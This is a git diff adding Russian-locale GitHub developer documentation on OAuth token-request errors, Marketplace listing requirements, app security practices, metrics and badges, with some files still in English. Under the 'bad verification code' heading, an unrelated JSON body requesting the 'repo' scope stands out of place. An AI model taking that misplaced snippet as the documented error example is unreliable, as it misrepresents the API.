&state=xyz + +Здесь нет ничего, что можно сделать, поскольку пользователи имеют право не использовать приложение. Чаще всего пользователи просто закрывают окно или нажимают кнопку "Назад" в браузере, поэтому, скорее всего, вы не увидите эту ошибку. diff --git a/translations/ru-RU/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md b/translations/ru-RU/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md new file mode 100644 index 000000000000..b0c000347f86 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md @@ -0,0 +1,78 @@ +--- +title: Устранение ошибок при запросе маркеров доступа для приложения OAuth +intro: '{% data reusables.shortdesc.troubleshooting_access_token_reques_errors_oauth_apps %}' +redirect_from: + - /apps/building-integrations/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors + - /apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors + - /developers/apps/troubleshooting-oauth-app-access-token-request-errors +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - OAuth Apps +shortTitle: Troubleshoot token request +ms.openlocfilehash: 7764d0e1f23a3d2dac841412ea0120487c8f6560 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145089797' +--- +{% note %} + +**Примечание**. В этих примерах показаны только ответы JSON. + +{% endnote %} + +## Неверные учетные данные клиента + +Если передан неверный \_идентификатор или секрет клиента\_, вы получите этот ответ об ошибке. + +```json +{ + "error": "incorrect_client_credentials", + "error_description": "The client_id and/or client_secret passed are incorrect.", + "error_uri": "/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors/#incorrect-client-credentials" +} +``` + +Чтобы устранить ошибку, убедитесь в наличии правильных учетных данных для {% data variables.product.prodname_oauth_app %}. Тщательно проверьте правильность значений `client_id` и `client_secret` и их передачи в {% data variables.product.product_name %}. + +## Несоответствие URI перенаправления + +Если вы указали `redirect_uri`, который не совпадает с зарегистрированным в {% data variables.product.prodname_oauth_app %}, вы получите следующее сообщение об ошибке: + +```json +{ + "error": "redirect_uri_mismatch", + "error_description": "The redirect_uri MUST match the registered callback URL for this application.", + "error_uri": "/apps/managing-oauth-apps/troubleshooting-authorization-request-errors/#redirect-uri-mismatch2" +} +``` + +Чтобы исправить эту ошибку, укажите `redirect_uri`, который соответствует зарегистрированному, или оставьте этот параметр пустым, чтобы использовался зарегистрированный по умолчанию с приложением. + +## Неверный код проверки + +```json +{ + "add_scopes": [ + "repo" + ], + "note": "admin script" +} +``` + +Если переданный код проверки неверен, просрочен или не соответствует тому, что вы получили в первом запросе на авторизацию, вы получите эту ошибку. + +```json +{ + "error": "bad_verification_code", + "error_description": "The code passed is incorrect or expired.", + "error_uri": "/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors/#bad-verification-code" +} +``` + +Чтобы устранить ошибку, запустите [процесс авторизации OAuth еще раз](/apps/building-oauth-apps/authorizing-oauth-apps/) и получите новый код. diff --git a/translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/customer-experience-best-practices-for-apps.md b/translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/customer-experience-best-practices-for-apps.md new file mode 100644 index 000000000000..218c353c302a --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/customer-experience-best-practices-for-apps.md @@ -0,0 +1,30 @@ +--- +title: Рекомендации по взаимодействию приложений с клиентами +intro: Рекомендации по созданию удобного в использовании и интуитивно-понятного приложения. +shortTitle: Customer experience best practice +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +redirect_from: + - /developers/github-marketplace/customer-experience-best-practices-for-apps +ms.openlocfilehash: f45e3f88e7fdeb4c1d82264abb4e59c1057fe711 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145089786' +--- +Если вы будете следовать этим рекомендациям, это поможет вам обеспечить хорошее взаимодействие с клиентами. + +## Взаимодействие с клиентами + +- Маркетинговые материалы для приложения должны точно описывать его поведение. +- Приложения должны содержать ссылки на документацию для пользователей, описывающую настройку и использование приложения. +- Клиенты должны видеть свой план в разделе выставления счетов, профиле или настройках учетной записи в приложении. +- Клиенты должны иметь возможность устанавливать и использовать приложение как с личной учетной записью, так и с учетной записью организации. Они должны иметь возможность просматривать и управлять приложением отдельно для этих учетных записей. + +## Управление планами + +{% data reusables.marketplace.marketplace-billing-ui-requirements %} diff --git a/translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/index.md b/translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/index.md new file mode 100644 index 000000000000..88c916451a5a --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/index.md @@ -0,0 +1,23 @@ +--- +title: Создание приложений для GitHub Marketplace +intro: 'Вы можете предлагать разработчикам бесплатные и платные средства в {% data variables.product.prodname_marketplace %}.' +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +children: + - /requirements-for-listing-an-app + - /security-best-practices-for-apps + - /customer-experience-best-practices-for-apps + - /viewing-metrics-for-your-listing + - /viewing-transactions-for-your-listing +shortTitle: Create Marketplace apps +ms.openlocfilehash: 991f21944b6196ab7391b5d8af84abe32768c8d4 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145089781' +--- + diff --git a/translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md b/translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md new file mode 100644 index 000000000000..66532415923f --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md @@ -0,0 +1,80 @@ +--- +title: Requirements for listing an app +intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.' +redirect_from: + - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace + - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace + - /apps/marketplace/getting-started-with-github-marketplace-listings/requirements-for-listing-an-app-on-github-marketplace + - /apps/marketplace/creating-and-submitting-your-app-for-approval/requirements-for-listing-an-app-on-github-marketplace + - /apps/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace + - /marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace + - /developers/github-marketplace/requirements-for-listing-an-app +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +shortTitle: Listing requirements +--- +<!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.--> + +The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app. + +## Requirements for all {% data variables.product.prodname_marketplace %} listings + +All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)." + +### User experience requirements for all apps + +All listings should meet the following requirements, regardless of whether they are for a free or paid app. + +- Listings must not actively persuade users away from {% data variables.product.product_name %}. +- Listings must include valid contact information for the publisher. +- Listings must have a relevant description of the application. +- Listings must specify a pricing plan. +- Apps must provide value to customers and integrate with the platform in some way beyond authentication. +- Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only. +- Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." + +For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)." + +### Brand and listing requirements for all apps + +- Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)." +- Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." +- Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." + +To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)." + +## Considerations for free apps + +{% data reusables.marketplace.free-apps-encouraged %} + +## Requirements for paid apps + +To publish a paid plan for your app on {% data variables.product.prodname_marketplace %}, your app must be owned by an organization that is a verified publisher. For more information about the verification process or transferring ownership of your app, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)." + +If your app is already published and you're a verified publisher, then you can publish a new paid plan from the pricing plan editor. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)." + +To publish a paid app (or an app that offers a paid plan), you must also meet the following requirements: + +- {% data variables.product.prodname_github_apps %} should have a minimum of 100 installations. +- {% data variables.product.prodname_oauth_apps %} should have a minimum of 200 users. +- All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below. + +When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the app listing. + +{% note %} + +**Note:** {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to transfer an app to an organization, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." + +{% endnote %} + +## Billing requirements for paid apps + +Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." + +Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their account on {% data variables.location.product_location %}. + +- Apps must support both monthly and annual billing for paid subscriptions purchases. +- Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." diff --git a/translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md b/translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md new file mode 100644 index 000000000000..f5da9567b401 --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md @@ -0,0 +1,63 @@ +--- +title: Security best practices for apps +intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.' +redirect_from: + - /apps/marketplace/getting-started/security-review-process + - /marketplace/getting-started/security-review-process + - /developers/github-marketplace/security-review-process-for-submitted-apps + - /developers/github-marketplace/security-best-practices-for-apps +shortTitle: Security best practice +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +--- +If you follow these best practices it will help you to provide a secure user experience. + +## Authorization, authentication, and access control + +We recommend creating a GitHub App rather than an OAuth App. {% data reusables.marketplace.github_apps_preferred %}. See "[Differences between GitHub Apps and OAuth Apps](/apps/differences-between-apps/)" for more details. +- Apps should use the principle of least privilege and should only request the OAuth scopes and GitHub App permissions that the app needs to perform its intended functionality. For more information, see [Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) in Wikipedia. +- Apps should provide customers with a way to delete their account, without having to email or call a support person. +- Apps should not share tokens between different implementations of the app. For example, a desktop app should have a separate token from a web-based app. Individual tokens allow each app to request the access needed for GitHub resources separately. +- Design your app with different user roles, depending on the functionality needed by each type of user. For example, a standard user should not have access to admin functionality, and billing managers might not need push access to repository code. +- Apps should not share service accounts such as email or database services to manage your SaaS service. +- All services used in your app should have unique login and password credentials. +- Admin privilege access to the production hosting infrastructure should only be given to engineers and employees with administrative duties. +- Apps should not use {% data variables.product.pat_generic %}s to authenticate and should authenticate as an [OAuth App](/apps/about-apps/#about-oauth-apps) or a [GitHub App](/apps/about-apps/#about-github-apps): + - OAuth Apps should authenticate using an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/). + - GitHub Apps should authenticate using either a [JSON Web Token (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app), [OAuth token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/), or [installation access token](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation). + +## Data protection + +- Apps should encrypt data transferred over the public internet using HTTPS, with a valid TLS certificate, or SSH for Git. +- Apps should store client ID and client secret keys securely. We recommend storing them as [environmental variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables). +- Apps should delete all GitHub user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with GitHub. +- Apps should not require the user to provide their GitHub password. +- Apps should encrypt tokens, client IDs, and client secrets. + +## Logging and monitoring + +Apps should have logging and monitoring capabilities. App logs should be retained for at least 30 days and archived for at least one year. +A security log should include: + +- Authentication and authorization events +- Service configuration changes +- Object reads and writes +- All user and group permission changes +- Elevation of role to admin +- Consistent timestamping for each event +- Source users, IP addresses, and/or hostnames for all logged actions + +## Incident response workflow + +To provide a secure experience for users, you should have a clear incident response plan in place before listing your app. We recommend having a security and operations incident response team in your company rather than using a third-party vendor. You should have the capability to notify {% data variables.product.product_name %} within 24 hours of a confirmed incident. + +For an example of an incident response workflow, see the "Data Breach Response Policy" on the [SANS Institute website](https://www.sans.org/information-security-policy/). A short document with clear steps to take in the event of an incident is more valuable than a lengthy policy template. + +## Vulnerability management and patching workflow + +You should conduct regular vulnerability scans of production infrastructure. You should triage the results of vulnerability scans and define a period of time in which you agree to remediate the vulnerability. + +If you are not ready to set up a full vulnerability management program, it's useful to start by creating a patching process. For guidance in creating a patch management policy, see this TechRepublic article "[Establish a patch management policy](https://www.techrepublic.com/article/establish-a-patch-management-policy-87756/)." diff --git a/translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md b/translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md new file mode 100644 index 000000000000..29f38d3580be --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md @@ -0,0 +1,56 @@ +--- +title: Viewing metrics for your listing +intro: 'The {% data variables.product.prodname_marketplace %} Insights page displays metrics for your {% data variables.product.prodname_github_app %}. You can use the metrics to track your {% data variables.product.prodname_github_app %}''s performance and make more informed decisions about pricing, plans, free trials, and how to visualize the effects of marketing campaigns.' +redirect_from: + - /apps/marketplace/managing-github-marketplace-listings/viewing-performance-metrics-for-a-github-marketplace-listing + - /apps/marketplace/viewing-performance-metrics-for-a-github-marketplace-listing + - /apps/marketplace/github-marketplace-insights + - /marketplace/github-marketplace-insights + - /developers/github-marketplace/viewing-metrics-for-your-listing +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +shortTitle: View listing metrics +--- +You can view metrics for the past day (24 hours), week, month, or for the entire duration of time that your {% data variables.product.prodname_github_app %} has been listed. + +{% note %} + +**Note:** Because it takes time to aggregate data, you'll notice a slight delay in the dates shown. When you select a time period, you can see exact dates for the metrics at the top of the page. + +{% endnote %} + +## Performance metrics + +The Insights page displays these performance metrics, for the selected time period: + +* **Subscription value:** Total possible revenue (in US dollars) for subscriptions. This value represents the possible revenue if no plans or free trials are cancelled and all credit transactions are successful. The subscription value includes the full value for plans that begin with a free trial in the selected time period, even when there are no financial transactions in that time period. The subscription value also includes the full value of upgraded plans in the selected time period but does not include the prorated amount. To see and download individual transactions, see "[GitHub Marketplace transactions](/marketplace/github-marketplace-transactions/)." +* **Visitors:** Number of people that have viewed a page in your GitHub Apps listing. This number includes both logged in and logged out visitors. +* **Pageviews:** Number of views the pages in your GitHub App's listing received. A single visitor can generate more than one page view. + +{% note %} + +**Note:** Your estimated subscription value could be much higher than the transactions processed for this period. + +{% endnote %} + +### Conversion performance + +* **Unique visitors to landing page:** Number of people who viewed your GitHub App's landing page. +* **Unique visitors to checkout page:** Number of people who viewed one of your GitHub App's checkout pages. +* **Checkout page to new subscriptions:** Total number of paid subscriptions, free trials, and free subscriptions. See the "Breakdown of total subscriptions" for the specific number of each type of subscription. + +![Marketplace insights](/assets/images/marketplace/marketplace_insights.png) + +To access {% data variables.product.prodname_marketplace %} Insights: + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.marketplace_apps %} +4. Select the {% data variables.product.prodname_github_app %} that you'd like to view Insights for. +{% data reusables.user-settings.edit_marketplace_listing %} +6. Click the **Insights** tab. +7. Optionally, select a different time period by clicking the Period dropdown in the upper-right corner of the Insights page. +![Marketplace time period](/assets/images/marketplace/marketplace_insights_time_period.png) diff --git a/translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-transactions-for-your-listing.md b/translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-transactions-for-your-listing.md new file mode 100644 index 000000000000..d44f76c58cb9 --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-transactions-for-your-listing.md @@ -0,0 +1,50 @@ +--- +title: Viewing transactions for your listing +intro: 'The {% data variables.product.prodname_marketplace %} transactions page allows you to download and view all transactions for your {% data variables.product.prodname_marketplace %} listing. You can view transactions for the past day (24 hours), week, month, or for the entire duration of time that your {% data variables.product.prodname_github_app %} has been listed.' +redirect_from: + - /marketplace/github-marketplace-transactions + - /developers/github-marketplace/viewing-transactions-for-your-listing +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +shortTitle: View listing transactions +--- +{% note %} + +**Note:** Because it takes time to aggregate data, you'll notice a slight delay in the dates shown. When you select a time period, you can see exact dates for the metrics at the top of the page. + +{% endnote %} + + +You can view or download the transaction data to keep track of your subscription activity. Click the **Export CSV** button to download a `.csv` file. You can also select a period of time to view and search within the transaction page. + +## Transaction data fields + +* **date:** The date of the transaction in `yyyy-mm-dd` format. +* **app_name:** The app name. +* **user_login:** The login of the user with the subscription. +* **user_id:** The id of the user with the subscription. +* **user_type:** The type of GitHub account, either `User` or `Organization`. +* **country:** The three letter country code. +* **amount_in_cents:** The amount of the transaction in cents. When a value is less the plan amount, the user upgraded and the new plan is prorated. A value of zero indicates the user cancelled their plan. +* **renewal_frequency:** The subscription renewal frequency, either `Monthly` or `Yearly`. +* **marketplace_listing_plan_id:** The `id` of the subscription plan. +* **region:** The name of the region present in billing address. +* **postal_code:** The postal code value present in billing address. + +![Marketplace insights](/assets/images/marketplace/marketplace_transactions.png) + +## Accessing {% data variables.product.prodname_marketplace %} transactions + +To access {% data variables.product.prodname_marketplace %} transactions: + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.marketplace_apps %} +4. Select the {% data variables.product.prodname_github_app %} that you'd like to view transactions for. +{% data reusables.user-settings.edit_marketplace_listing %} +6. Click the **Transactions** tab. +7. Optionally, select a different time period by clicking the Period dropdown in the upper-right corner of the Transactions page. +![Marketplace time period](/assets/images/marketplace/marketplace_insights_time_period.png) diff --git a/translations/ru-RU/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md b/translations/ru-RU/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md new file mode 100644 index 000000000000..4c1692849636 --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md @@ -0,0 +1,71 @@ +--- +title: Сведения о GitHub Marketplace +intro: 'Узнайте о {% data variables.product.prodname_marketplace %}, где можно предоставлять общий доступ к приложениям и действиям для всех пользователей {% data variables.product.product_name %}.' +redirect_from: + - /apps/marketplace/getting-started + - /marketplace/getting-started + - /developers/github-marketplace/about-github-marketplace +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +ms.openlocfilehash: 5a722d35fb74607b9200a1fe30d804df44330cea +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145089730' +--- +[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) позволяет находить разработчиков, которые хотят расширить и улучшить свои рабочие процессы {% data variables.product.prodname_dotcom %}. Вы можете предлагать разработчикам бесплатные и платные средства в {% data variables.product.prodname_marketplace %}. В {% data variables.product.prodname_marketplace %} разработчикам предлагаются два типа средств: {% data variables.product.prodname_actions %} и приложения. Для добавления каждого средства в {% data variables.product.prodname_marketplace %} требуется особая процедура. + +## Действия GitHub + +{% data reusables.actions.actions-not-verified %} + +Сведения о публикации {% data variables.product.prodname_actions %} в {% data variables.product.prodname_marketplace %} см. в разделе [Публикация действий в GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace). + +## Приложения + +Любой пользователь может бесплатно делиться своими приложениями с другими людьми на {% data variables.product.prodname_marketplace %}, но продавать можно только приложения, принадлежащие организациям. + +Для публикации платных планов приложения и получения эмблемы Marketplace необходимо пройти процедуру подтверждения издателя. Дополнительные сведения см. в разделе [Подача заявки на проверку издателя для организации](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization) или [Требования к описанию приложения](/developers/github-marketplace/requirements-for-listing-an-app). + +Если организация соответствует требованиям, ее сотрудник с разрешениями владельца может публиковать платные планы для любых своих приложений. Каждое приложение с платным планом также проходит процедуру подключения для обеспечения возможности оплаты. + +Для публикации приложений с бесплатными планами необходимо соответствовать общим требованиям к публикации приложений. Дополнительные сведения см. в разделе [Требования ко всем публикациям в GitHub Marketplace](/developers/github-marketplace/requirements-for-listing-an-app#requirements-for-all-github-marketplace-listings). + +### Нет опыта работы с приложениями? + +Если вы хотите создать приложение для {% data variables.product.prodname_marketplace %}, но не знакомы с {% data variables.product.prodname_github_apps %} или {% data variables.product.prodname_oauth_apps %}, см. раздел [Создание {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps) или [Создание {% data variables.product.prodname_oauth_apps %}](/developers/apps/building-oauth-apps). + +### {% data variables.product.prodname_github_apps %} и {% data variables.product.prodname_oauth_apps %} + +{% data reusables.marketplace.github_apps_preferred %}, но в {% data variables.product.prodname_marketplace %} можно размещать как приложения OAuth, так и {% data variables.product.prodname_github_apps %}. Дополнительные сведения см. в разделах [Различия между {% data variables.product.prodname_github_apps %} и {% data variables.product.prodname_oauth_apps %}](/apps/differences-between-apps/) и [Перенос {% data variables.product.prodname_oauth_apps %} в {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/). + +## Обзор публикации приложения в {% data variables.product.prodname_marketplace %} + +Завершив создание приложения, вы можете поделиться им с другими пользователями, опубликовав его в {% data variables.product.prodname_marketplace %}. В целом процесс выглядит так: + +1. Внимательно проверьте приложение: оно должно правильно работать в других репозиториях и соответствовать рекомендациям. Дополнительные сведения см. в разделах [Рекомендации по обеспечению безопасности приложений](/developers/github-marketplace/security-best-practices-for-apps) и [Требования к описанию приложения](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience). + +1. Добавьте в приложение события веб-перехватчика для отслеживания пользовательских запросов на выставление счетов. Дополнительные сведения об API {% data variables.product.prodname_marketplace %}, событиях веб-перехватчиков и запросах на выставление счетов см. в разделе [Использование API {% data variables.product.prodname_marketplace %} в приложении](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app). + +1. Создайте черновик профиля в {% data variables.product.prodname_marketplace %}. Дополнительные сведения см. в разделе [Создание черновика размещения для приложения](/developers/github-marketplace/drafting-a-listing-for-your-app). + +1. Добавьте ценовой план. Дополнительные сведения см. в статье [Настройка тарифных планов для описания](/developers/github-marketplace/setting-pricing-plans-for-your-listing). + +1. Прочтите и примите условия [Соглашения {% data variables.product.prodname_marketplace %} для разработчиков](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement). + +1. Отправьте профиль на публикацию в {% data variables.product.prodname_marketplace %}. Дополнительные сведения см. в разделе [Отправка описания для публикации](/developers/github-marketplace/submitting-your-listing-for-publication). + +## Просмотр показателей приложения + +Вы можете просматривать метрики и транзакции для профиля. Дополнительные сведения см. в разделе: + +- [Просмотр метрики для вашего вывода списка](/developers/github-marketplace/viewing-metrics-for-your-listing) +- [Просмотр транзакций для профиля](/developers/github-marketplace/viewing-transactions-for-your-listing) + +## Обращение в службу поддержки + +Если у вас есть вопросы о {% data variables.product.prodname_marketplace %}, обращайтесь непосредственно в {% data variables.contact.contact_support %}. diff --git a/translations/ru-RU/content/developers/github-marketplace/github-marketplace-overview/about-marketplace-badges.md b/translations/ru-RU/content/developers/github-marketplace/github-marketplace-overview/about-marketplace-badges.md new file mode 100644 index 000000000000..d0036720dd86 --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/github-marketplace-overview/about-marketplace-badges.md @@ -0,0 +1,46 @@ +--- +title: Сведения о значках в Marketplace +intro: 'Сведения об индикаторах событий, которые могут отображаться для некоторых списков приложений и действий в {% data variables.product.prodname_marketplace %}.' +redirect_from: + - /developers/github-marketplace/about-verified-creator-badges + - /developers/github-marketplace/about-marketplace-badges +versions: + fpt: '*' + ghec: '*' +ms.openlocfilehash: bba9137fc39c1bc101a75650dcea03e651d37fff +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145089725' +--- +## Для приложений GitHub + +Некоторые приложения в {% data variables.product.prodname_marketplace %} имеют значок {% octicon "verified" aria-label="The verified badge" %} и подсказку "Подтвержденные домен и электронная почта издателя". Это означает, что приложение принадлежит организации, для которой: + +- Проверено владение доменом, и организация имеет значок подтверждения в своем профиле. +- Подтвержден адрес электронной почты, чтобы служба поддержки {% data variables.product.prodname_dotcom %} могла связаться с организацией +- Требуется двухфакторная проверка подлинности в рамках организации. Дополнительные сведения см. в разделе [Настройка требования двухфакторной проверки подлинности в организации](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization). + +![Значок Marketplace для приложений GitHub](/assets/images/marketplace/apps-with-verified-publisher-badge-tooltip.png) + +{% note %} {% data variables.product.prodname_dotcom %} не анализирует приложения. Значок Marketplace {% octicon "verified" aria-label="The verified badge" %} только подтверждает, что издатель соответствует указанным выше требованиям. +{% endnote %} + +Сведения о добавлении этого значка к своему приложению см. в разделе [Подача заявки на подтверждение издателя для вашей организации](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization). + +Некоторые приложения в {% data variables.product.prodname_marketplace %} имеют значок {% octicon "verified" aria-label="The verified badge" %} и подсказку "Приложение удовлетворяет требованиям к регистрации", а не "Подтвержденные домен и электронная почта издателя". Это означает, что приложение соответствует требованиям к описанию, описанным в разделе [Требования для регистрации приложения](/developers/github-marketplace/requirements-for-listing-an-app), но издатель не был проверен, как описано в разделе [Подача заявки на подтверждение издателя для вашей организации](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization). Приложения с таким значком не могут изменить свой тарифный план, пока издатель не подаст заявку и не пройдет подтверждение. + +![Значок Marketplace для приложений GitHub](/assets/images/marketplace/apps-with-unverified-publisher-badge-tooltip.png) + +Дополнительные сведения о требованиях к регистрации приложения в {% data variables.product.prodname_marketplace %} см. в разделе [Требования для регистрации приложения в {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/). + +Сведения о поиске приложений см. в разделе [Поиск в {% data variables.product.prodname_marketplace %}](/search-github/searching-on-github/searching-github-marketplace). + +## Для GitHub Actions + +Наличие значка {% octicon "verified" aria-label="The verified badge" %} (то есть подтвержденный создатель) у действия означает, что создатель действия является подтвержденной партнерской организацией на {% data variables.product.prodname_dotcom %}. + +![Значок подтвержденного создателя на GitHub Actions](/assets/images/marketplace/verified-creator-badge-for-actions.png) + +Сведения о том, как опубликовать действие GitHub в {% data variables.product.prodname_marketplace %}, см. в разделе [Публикация действий в GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace). diff --git a/translations/ru-RU/content/developers/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization.md b/translations/ru-RU/content/developers/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization.md new file mode 100644 index 000000000000..2c04020948b2 --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization.md @@ -0,0 +1,44 @@ +--- +title: Подача заявки на подтверждение издателя для вашей организации +intro: 'Чтобы предлагать платные планы для приложения или добавить эмблему Marketplace в описание приложения, необходимо пройти процесс проверки издателя для вашей организации.' +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +redirect_from: + - /developers/github-marketplace/applying-for-publisher-verification-for-your-organization +shortTitle: Publisher verification +ms.openlocfilehash: 34085acb78eba5057cea382ab250e4704dd958d1 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT 